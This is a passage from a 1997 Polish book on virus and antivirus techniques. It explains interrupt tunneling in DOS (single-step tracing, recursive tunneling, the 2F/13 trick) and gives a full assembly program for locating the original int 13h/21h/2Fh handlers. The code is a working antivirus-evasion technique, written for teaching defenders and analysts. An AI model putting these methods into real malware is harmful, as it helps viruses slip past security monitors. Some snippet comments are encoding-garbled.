Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np. przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie zawartości odpowiedniego rejestru lub ich grupy.
Dla przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h (weź informację o parametrach dysku).
6.4.3. Tuneling rekursywny (ang. recursive tunneling)
Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny. Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków, dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji:
Element_l
......... ; pierwszy element │a±cucha
Skok_do_Elementu_2
......... ; pamiÛµ wykorzystywana przez inne programy
Element_2 ......... ; drugi element │a±cucha
Skok_do_Elementu_3
......... ; pamiÛµ wykorzystywana przez inne programy
Element_N ......... ; ostatni element │a±cucha - poszukiwana czÛ£µ systemu Powr¾t_Z_Elementu_N ; powr¾t poprzez rozkaz IRET lub
; RETF 2 do elementu poprzedniego lub bezpo£rednio
; do wywo│uj╣cego programu
Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić do następującej sekwencji:
mov ah,52h ; pobierz do ES:BX adres struktury
int 21h ; LL (lista list)
mov bx,es
xor ax,ax ; ustaw adres DS:SI na adres
mov ds,ax ; przerwania 21h wskazywanego
mov si,21h*4 ; przez tablice przerwa±
xchg ax,di ; DI=licznik sprawdzanych bajtow=0
Adres 32:
Ids si,ds:[si] ; pobierz adres
or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powr¾t DS:SI-adres
mov ax,ds ; \ czy jest to segment DOS ?
cmp ax, bx ; /
jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec szukania
NastepnyBajt:
lodsw ; weƒ 2 bajty bÛd╣ce czÛ£ci╣ aktualnej procedury dec si ; sprawdzamy co bajt
cmp al,9Ah ; czy jest to CALL FAR PTR ?
je Adres32 ; TAK - weƒ kolejny adres
cmp al,0EAh ; czy jest to JMP FAR PTR ?
je Adres32 ; TAK - weƒ kolejny adres
cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?
jne NieJMP_DWORD
cmp byte ptr [si+l],al ; czy dalsz╣ czÛ£µ rozkazu JMP FAR CS:DWORD ?
jne NieJMP_DWORD
mov si,ds:[si+2] ; pobierz offset do danych dla skoku jmp short Adres32 ; TAK - weƒ kolejny adres
NieJMP_DWORD:
inc DI ; licznik sprawdzanych bajt¾w
and DI,4095 ; je┐eli sprawdzono ju┐ 4095 bajt¾w,
je Recursive21_Exit ; to ko±cz, bo tuneling nie dzia│a
jmp NastepnyBajt ; weƒ kolejny bajt
WSegmencieDOS:
............ ; adres zosta│ znaleziony (jest w DS:SI)
RecursNieDzia│a:
............ ; adres nie zosta│ znaleziony
6.4.4. Trik2F/13
Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej: zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę wykorzystuje IO.SYS przy starcie sy
stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja pokazuje, jak za pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie:
; Trik 2F/13
MOV AH,13h ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX adres
; procedury obs│ugi (mo┐na pomin╣µ gdy┐ za
; chwilÛ i tak zostanie przywr¾cona w│a£ciwa
; procedura obs│ugi). ES:BX adres procedury, kt¾ra system
; bÛdzie ustawia│ jako procedurÛ obs│ugi przerwania nr 13h
; przy ewentualnym zawieszeniu systemu lub po wywo│aniu
; int 19h (tak┐e mo┐na pomin╣µ)
INT 2Fh ; wywo│aj funkcjÛ 13h
; po wywo│aniu ES:BX zwraca adres procedury, kt¾ra system
; ustawi jako int 13h w wy┐ej wymienionych wypadkach, czyli
; zwykle bÛdzie to oryginalna procedura obs│ugi przerwania
13h MOV SEG_13,ES ; trzeba zapamiÛtaµ adres oryginalnej procedury obs│ugi
MOV OFS_13,BX ; intl3h, znajduj╣cej siÛ w ES:BX
MOV AH,13h ; funkcja - ustaw obs│ugÛ dysk¾w DS:DX i ES:BX to warto£ci
; z poprzedniego wywo│ania funkcji (13/2F)
INT 2Fh ; wywo│aj funkcjÛ 13h
Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z wykorzystaniem różnych technik tunelingowych-
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; TUNEL v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program demonstruje uzycie kilku odmian tunelingu ;
; do znalezienia oryginalnych adresow przerwan ;
; - 13h (trik 2F/13, tryb krokowy) ;
; - 21h (tablica stalych adresow, tryb krokowy, tuneling rekursywny) ;
; - 2Fh (tablica stalych adresow) ;
; ;
; Kompilacja : ;
; TASM TUNEL.ASM ;
; TLINK /t TUNEL.OBJ ;
; ;
;----------------------------------------------------------------------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych
ON = 001h ; \ stale potrzebne do obslugi
OFF = 002h ; / przerwania 1
PROG segment ; segment kodu i danych
ORG 100h ; program jest typu COM
Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG
CodeStart: ; tu zaczyna sie program
lea si,TeCopyRight ; \ pokaz info o programie
Call Print ; /
Call GetOriginal13 ; pokaz oryginalny adres 13h
Call GetOriginal21 ; pokaz oryginalny adres 21h
Call GetOriginal2F ; pokaz oryginalny adres 21h
mov ax, 4C00h ; \ koncz program i powroc do DOSa
int 21h ; /
GetOriginal13 proc near ; procedura pobiera oryginalny adres
; Int 13h (na dwa sposoby) i wyswietla
; go
push si ; zachowaj zmieniany rejestr
lea si,TeGet13 ; \ pokaz info o przerwaniu 13h
Call Print ; /
Call Trik2F13 ; wez adres 13h
; metoda Trik 2F/13
Call ShowAddr ; pokaz adres 13h
Call Tracing13 ; wez adres 13h
; metoda tracingu
Call ShowAddr ; pokaz adres 13h
pop si ; przywroc zmieniany rejestr
ret ; powrot z procedury
GetOriginal13 endp
Trik2F13 proc near ; procedura pobiera oryginalny adres
; Int 13h wykorzystujac funkcje 13h
; przerwania 2Fh
; (wewnetrzna funkcja DOS)
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push dx ; /
push si ; /
lea si,TeTrik2F13 ; \ pokaz info o metodzie
Call Print ; / Trik 2F/13h
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,13h ; \
int 2Fh ; \
; \
mov cs:ShowSeg,es ; \ trik 2F/13
mov cs:ShowOFS,bx ; /
; /
mov ah,13h ; /
int 2Fh ; /
pop si ; \
pop dx ; \
pop bx ; \ przywroc zmieniane rejestry
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Trik2F13 endp
Tracing13 proc near ; procedura popbiera oryginalny
; adres Int 13h, wykorzystujac
; metode tracingu
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /
mov ShowError, offset TeTracingFail
; ewentualny komunikat o bledzie
lea si,TeTracing13 ; \ wyswietl info o metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,8 ; \ pobierz info o twardym dysku
mov dl,80h ; \ i zachowaj na pozniej wartosci
int 13h ; / rejestrow CX i DX; beda one
mov MagicNum1,cx ; / potrzebne do sprawdzenia czy
mov MagicNum2,dx ; / tracer jest juz w dobrym kodzie
mov ax,3513h ; \ wez adres przerwania Int 13h,
int 21h ; \ zeby mozna je bylo przetrace'owac,
mov CallFarSeg,es ; / trzeba je emulowac poprzez
mov CallFarOfs,bx ; / pushf/call dword ptr Ofs:Seg
mov TraceMode,OFF ; flaga potrzebna tracerowi
mov ax,3501h ; \ pobierz adres obslugi
int 21h ; \ przerwania krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i ustaw nowa procedure jego
; - obslugi, sprawdzajaca, czy
mov dx,offset Tracer_13 ; / funkcja zostala juz wykonana
mov ax,2501h ; / przez BIOS
int 21h ; /
pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /
mov dl,80h ; parametr funkcji 08/int 13h = HD0
mov ah,08h ; numer funkcji BIOS
pushf ; czesc emulacji Int 13
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall
; emuluj int 13
mov TraceMode,OFF ; wylacz flage tracera
pushf ; \ wylacz tryb krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /
lds dx,dword ptr cs:of1 ; \ przywroc stary adres przerwania
mov ax,2501h ; / krokowego Int 1
int 21h ; /
pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Tracing13 endp
Tracer_13 proc far
push bp ; zachowaj zmieniany rejestr
mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS
push ax ; zachowaj zmieniany rejestr
cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_13Exit ; jesli nie, to wyskocz z procedury
mov ax,[bp+04] ; AX=CS image
cmp ax,cs:ShowSeg ; czy segment kodu ten sam
je OldSeg13 ; tak=wyskocz procedury
; nie=zachowaj nowy adres seg:ofs
mov cs:ShowSeg,ax ; AX=CS image
mov ax,[bp+02] ; AX=IP image
mov cs:ShowOfs,ax
OldSeg13:
cmp cx,cs:MagicNum1 ; \
jne Tracer_13Exit ; \ czy funkcja sie juz wykonala ?
cmp dx,cs:MagicNum2 ; / nie=wyskocz z procedury
jne Tracer_13Exit ; /
mov cs:TraceMode,OFF ; tak=wylacz tracer, bo adres
; znaleziony
Tracer_13Exit: ; koniec przerwania Int 1
pop ax ; przywroc zmieniany rejestr
or byte ptr [bp+7],1 ; [bp+06] FLAGS , ustaw
; bit TF dla nastepnego rozkazu
; wykonywanego po IRET
pop bp ; przywroc zmieniany rejestr
iret ; powrot z przerwania Int 1
Tracer_13 endp
GetOriginal21 proc near
push si ; zachowaj zmieniany rejestr
lea si,TeGet21 ; \ pokaz info o przerwaniu 21h
Call Print ; /
Call LookUpTable21 ; wez adres 21h
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h
Call Recursive21 ; wez adres 21h
; metoda tunelingu rekursywnego
Call ShowAddr ; pokaz adres 21h
Call Tracing21 ; wez adres 21h
; metoda tracingu (tryb krokowy)
Call ShowAddr ; pokaz adres 21h
pop si ; przywroc zmieniany rejeetr
ret ; powrot z procedury
GetOriginal21 endp
LookUpTable21 proc near
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /
lea si,TeLookUpTable21 ; \ wyswietl info o metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o bledzie
mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS, ah=major,al=minor
mov bx,109Eh ; ofset dla DOS 5.0 - 6.22
cmp ax,0500h ; wersja musi byc wieksza od 5.00
jb LookUpTable21_Exit ; mniejsza=tuneling nie zadziala
cmp ax,0622h ; dla wersji wiekszej od 6.22
jbe DOSVerOk21 ; jest inny ofset
mov bx,0FB2h ; ofset dla DOS >6.22 (np. 7.0)
DOSVerOk21: ; ofset ustawiony
push bx ; zachowaj go na stosie
mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)
pop bx ; przywroc ze stosu ofset do skoku
mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o bledzie
; czy pod ES;BX jest sekwencja
; 90 lub EB NOP \JMP $+3
; 90 lub 03 NOP /
; E8 xx xx CALL NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK21 ; skocz, gdy sa 2 NOPy
cmp word ptr es:[bx],03EBh
jne LookUpTable21_Exit ; skocz, gdy JMP $+3
FirstCodeOK21:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable21_Exit ; skocz, gdy nie ma CALL xxxx
cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far
cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable21_Exit ; skocz, gdy nie ma czesci rozkazu jmp far
mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury
les bx,dword ptr es:[bx] ; /
mov ShowSeg,es ; przepisz segment i offset
mov ShowOfs,bx ; potrzebne do wyswietlenia adresu
LookUpTable21_Exit: ; skacz tu, gdy jakis blad
pop si
pop bx ; \
pop ax ; - przywroc zmieniane rejeetry
pop es ; /
ret ; powrot z procedury
LookUpTable21 endp
Recursive21 proc near
push es ; \
push ds ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /
push di ; /
lea si,TeRecursive21 ; \ wyswietl info o metodzie
Call Print ; /
mov ShowError, offset TeRecursive21Fail
; ewentualny komunikat o bledzie
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)
mov bx,es
xor ax,ax ; ustaw adres DS:SI na adres
mov ds,ax ; przerwania 21h wskazywanego
mov si,21h*4 ; przez tablice przerwa±
xchg ax,di ; DI=licznik sprawdzanych bajtow=0
Adres32:
lds si,ds:[si] ; pobierz adres
or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powrot DS:SI=adres
mov ax,ds ; \ czy jest to segment DOS ?
cmp ax,bx ; /
jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec szukania
NastepnyBajt:
lodsw ; wez 2 bajty bedace czescia
; aktualnej procedury
dec si ; sprawdzamy co bajt
cmp al,9Ah ; czy jest to CALL FAR PTR ?
je Adres32 ; TAK - wez kolejny adres
cmp al,0EAh ; czy jest to JMP FAR PTR ?
je Adres32 ; TAK - wez kolejny adres
cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?
jne NieJMP_DWORD ;
cmp byte ptr [si+1],al ; czy dalsza czesc rozkazu JMP FAR CS:DWORD ?
jne NieJMP_DWORD ;
mov si,ds:[si+2] ; pobierz ofset do danych dla skoku
jmp short Adres32 ; TAK - wez kolejny adres
NieJMP_DWORD:
inc DI ; licznik sprawdzanych bajtow
and DI,4095 ; jezeli sprawdzono juz > 4095 bajtow,
je Recursive21_Exit ; to koncz, bo tuneling nie dziala
jmp NastepnyBajt ; wez kolejny bajt
WSegmencieDOS:
; adres zostal znaleziony (jest w DS:SI)
mov cs:ShowSeg,ds ; przepisz segment i offset
mov cs:ShowOfs,si ; potrzebne do wyswietlenia adresu
Recursive21_Exit: ; skacz tu, gdy jakis blad
pop di ; \
pop si ; \
pop bx ; \ przywroc zmieniane rejeetry
pop ax ; /
pop ds ; /
pop es ; /
ret ; powrot z procedury
Recursive21 endp
Tracing21 proc near ; procedura popbiera oryginalny
; adres Int 13h wykorzystujac
; metode tracingu
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /
mov ShowError, offset TeTracingFail
; ewentualny komunikat o bledzie
lea si,TeTracing21 ; \ wyswietl info o metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,62h ; \ pobierz info o aktualnym PSP
int 21h ; \ i zachowaj na pozniej te wartosc
mov MagicNum1,bx ; / (rejestr BX) bedzie ona
; / potrzebna, zeby sprawdzic, czy
; / tracer jest juz w dobrym kodzie
mov ax,3521h
int 21h ; \ wez adres przerwania Int 21h,
mov CallFarSeg,es ; \ zeby mozna je bylo przetrace'ow
mov CallFarOfs,bx ; / trzeba je emulowac poprzez
; / pushf/call dword ptr Ofs:Seg
mov TraceMode,OFF ; flaga potrzebna dla tracera
mov ax,3501h ; \ pobierz adres obslugi
int 21h ; \ przerwania krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i zmien je na nowa procedure
; - obslugi, sprawdzajaca czy
mov dx,offset Tracer_21 ; / funkcja zostala juz wykonana
mov ax,2501h ; / przez DOS
int 21h ; /
pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /
mov ah,62h ; numer funkcji DOS
pushf ; czesc emulacji Int 21
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall ; emuluj int 21
mov TraceMode,OFF ; wylacz flage tracera
pushf ; \ wylacz tryb krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /
; \ przywroc stary adres przerwania
lds dx,dword ptr cs:of1 ; / krokowego Int 1
mov ax,2501h ; /
int 21h
pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Tracing21 endp
Tracer_21 proc far
push bp ; zachowaj zmieniany rejestr
mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS
push ax ; zachowaj zmieniany rejestr
cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_21Exit ; jesli nie, to wyskocz z procedury
mov ax,[bp+04] ; AX=CS instrukcji
cmp ax,cs:ShowSeg ; czy segment kodu ten sam
je OldSeg21 ; tak=wyskocz procedury
mov cs:ShowSeg,ax ; nie=zachowaj nowy adres seg:ofs
mov ax,[bp+02] ; AX=CS instrukcji
mov cs:ShowOfs,ax ; AX=IP instrukcji
OldSeg21:
cmp bx,cs:MagicNum1 ; \
jne Tracer_21Exit ; \ czy funkcja juz sie wykonala ?
; / nie=wyskocz z procedury
mov cs:TraceMode,OFF ; / tak=wylacz tracer, bo adres
; / znaleziony
Tracer_21Exit: ; koniec przerwania Int 1
pop ax ; przywroc zmieniany rejestr
or byte ptr [bp+7],1 ; [bp+06] FLAGS, ustaw
; bit TF dla nastepnego rozkazu
; wykonywanego po IRET
pop bp ; przywroc zmieniany rejestr
iret ; powrot z przerwania Int 1
Tracer_21 endp
GetOriginal2F proc near
push si ; zachowaj zmieniany rejestr
lea si,TeGet2F ; \ pokaz info o przerwaniu 2Fh
Call Print ; /
Call LookUpTable2F ; wez adres 2Fh
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h
pop si ; przywroc zmieniany rejestr
ret ; powrot z procedury
GetOriginal2F endp
LookUpTable2F proc near
push es ; \
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
push si ; /
lea si,TeLookUpTable2F ; \ wyswietl info o metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o bledzie
mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS, ah=major,al=minor
mov bx,10C6h ; ofset dla DOS 5.0 - 6.22
cmp ax,0500h ; wersja musi byc wieksza od 5.00
jb LookUpTable2F_Exit ; mniejsza=tuneling nie zadziala
cmp ax,0622h ; dla wersji wiekszej od 6.22
jbe DOSVerOk2F ; jest inny ofset
mov bx,0FDAh ; ofset dla DOS >6.22 (np. 7.0)
DOSVerOk2F: ; ofset ustawiony
push bx ; zachowaj go na stosie
mov ah,52h ; \ pobierz do ES:BX adres struktury
int 21h ; / LL (lista list)
pop bx ; przywroc ze stosu ofset do skoku
mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o bledzie
; czy pod ES;BX jest sekwencja
; 90 lub EB NOP \JMP $+3
; 90 lub 03 NOP /
; E8 xx xx CALL NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK2F ; skocz, gdy sa 2-a NOPy
cmp word ptr es:[bx],03EBh
jne LookUpTable2F_Exit ; skocz, gdy JMP $+3
FirstCodeOK2F:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma CALL xxxx
cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far
cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma czesci rozkazu jmp far
mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres oryginalnej procedury
les bx,dword ptr es:[bx] ; /
mov ShowSeg,es ; przepisz segment i ofset
mov ShowOfs,bx ; potrzebne do wyswietlenia adresu
LookUpTable2F_Exit: ; skacz tu, gdy jakis blad
pop si
pop bx ; \
pop ax ; - przywroc zmieniane rejestry
pop es ; /
ret ; powrot z procedury
LookUpTable2F endp
ShowAddr proc near ; wyswietl adres w postaci
; seg:ofs heksalnie na podstawie
; zawartosci zmiennych
; ShowSeg i ShowOfs
push ax ; \ zachowaj zmieniany rejestr
push si ; /
mov si,ShowError ; \ wez adres komunikatu o ewentualnym
; / bledzie
mov ax,ShowSeg ; czy seg i ofs sa wyzerowane,
or ax,ShowOfs ; tzn czy nie znaleziono adresu ?
jz ShowAddrError ; tak=nie znaleziono adresu
mov ax,ShowSeg ; \ wyswietl segment
Call PrintHexDW ; /
mov al,':' ; \ wyswietl dwukropek
Call PrintChar ; /
mov ax,ShowOfs ; \ wyswietl ofset
Call PrintHexDW ; /
lea si,TeCRLF ; \ wyswietl CR,LF,
ShowAddrError: ; - czyli przejdz do nastepnego wiersza
Call Print ; / lub komunikat o bledzie
pop si ; \
pop ax ; / przywroc zmieniany rejestr
ret ; powrot z procedury
ShowAddr endp
PrintHexDW proc near ; procedura wyswietla heksalnie
; liczbe zawarta w AX
push ax ; \ zachowaj zmieniane rejestry
push bx ; /
lea bx,HexChars ; bx wskazuje na tablice konwersji
; liczb heksadecymalnych 0..F
Call PrintHex ; wyswietl liczbe w AX
pop bx ; \ przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
PrintHexDW endp
PrintHex proc near
push ax ; zachowaj mlodsza czesc adresu
mov al,ah ; AL=starsza czesc adresu
Call PrintHexDB ; wyswietl starsza czesc adresu
pop ax ; przywroc mlodsza czesc adresu
PrintHexDB: ; wyswietl czesc adresu z al
mov ah,al ; zachowaj na chwile te czesc
shr al,1 ; \ wyswietl starsza czesc bajtu
shr al,1 ; \ al przesuniete o 4 w prawo
shr al,1 ; \
shr al,1 ; /
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL
mov al,ah ; \ wyswietl mlodsza czesc bajtu
and al,15 ; \ al zamaskowane z 00001111b
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL
ret ; powrot z procedury
PrintHex endp
Print proc near ; procedura wyswietla tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane rejestry
push si ; /
GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz PrintExit ; tak=koniec napisu; wyjdz z petli
Call PrintChar ; nie=wyswietl znak w AL
;
jmp short GetNextChar ; i wez nastepny znak
PrintExit:
pop si ; \ przywroc zmieniane rejestry
pop ax ; /
ret ; powrot z procedury
Print endp
PrintChar proc near ; procedura wyswietla znak w AL
push ax ; zachowaj zmieniany rejestr
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak w AL
pop ax ; przywroc zmieniany rejestr
ret ; powrot z procedury
PrintChar endp
TeCopyRight:
db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk 1997',NUL
TeGet13 db CR,LF,'Adres oryginalnej procedury 13h : '
db CR,LF,NUL
TeGet21 db CR,LF,'Adres oryginalnej procedury 21h : '
db CR,LF,NUL
TeGet2F db CR,LF,'Adres oryginalnej procedury 2Fh : '
TeCRLF db CR,LF,NUL
TeTrik2F13 db ' _ trik Int 2Fh/13h := ',NUL
TeTracing13 db ' _ tracing 13h := ',NUL
TeLookUpTable21 db ' _ tablica stalych adresow 21h := ',NUL
TeRecursive21 db ' _ tuneling rekursywny 21h := ',NUL
TeTracing21 db ' _ tracing 21h := ',NUL
TeLookUpTable2F db ' _ tablica stalych adresow 2Fh := ',NUL
TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL
TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc >5.0',CR,LF,NUL
TeTracingFail db 'Blad : Tracing nie dziala',CR,LF,NUL
TeRecursive21Fail db 'Blad : Tuneling rekursywny nie dziala',CR,LF,NUL
HexChars db '0123456789ABCDEF'
ShowSeg dw ? ; zmienne pomocnicze do zachowywania
ShowOfs dw ? ; znalezionego adresu
ShowError dw ? ; zmienna dla ewentualnych bledow
of1 dw ? ; zmienne potrzebne do zachowywania
se1 dw ? ; adresu Int 1
IntAsFarCall label dword ; adres dalekiej procedury sluzacej do
CallFarOfs dw ? ; emulacji instrukcji INT
CallFarSeg dw ?
TraceMode db ? ; flaga ON=wlaczony/OFF= wlaczony tracer
MagicNum1 dw ? ; zmienne pomocnicze do przechowywania
MagicNum2 dw ? ; wartosci potrzebnych do sprawdzenia czy
; jestesmy juz we wlasciwym kodzie DOS/BIOS
PROG ends ; koniec segmentu kodu i danych
end CodeStart ; koniec programu, pierwsza instrukcja
; pod etykieta CodeStart
6.5. Wykorzystanie trybu chronionego
Tryb chroniony nie jest zbyt często wykorzystywany przez wirusy, jednak kilka z nich używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane najpierw do wirusa, a dopiero ten przekaże je do oszukiwanego systemu poprzez chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto, aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do pamięci powyżej 1MB.
W przypadku systemu Windows do przejmowania przerwań można wykorzystać fakt, iż udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode Interface).
Do przejmowania przerwań służą funkcje:
> 0200h - odczytanie wektora przerwań trybu rzeczywistego;
> 0201h - zapisanie wektora przerwań trybu rzeczywistego;
> 0202h - odczytanie adresu procedury obsługi wyjątku;
> 0203h - ustawienie adresu procedury obsługi wyjątku;
> 0204h - odczytanie wektora przerwań trybu wirtualnego;
> 0205h - zapisanie wektora przerwań trybu wirtualnego;
Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h. Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji (1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego zawarte są w pozycjach [l] i [6] ze spisu na końcu książki.
6.6. Włączanie się jako program obsługi urządzenia
Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP
ROZDZIAŁ 7
Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus znika wkrótce z wirusowej sceny.
Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe ukrywają wirusa przed oczyma ciekawskich.
7.1. Technika stealth
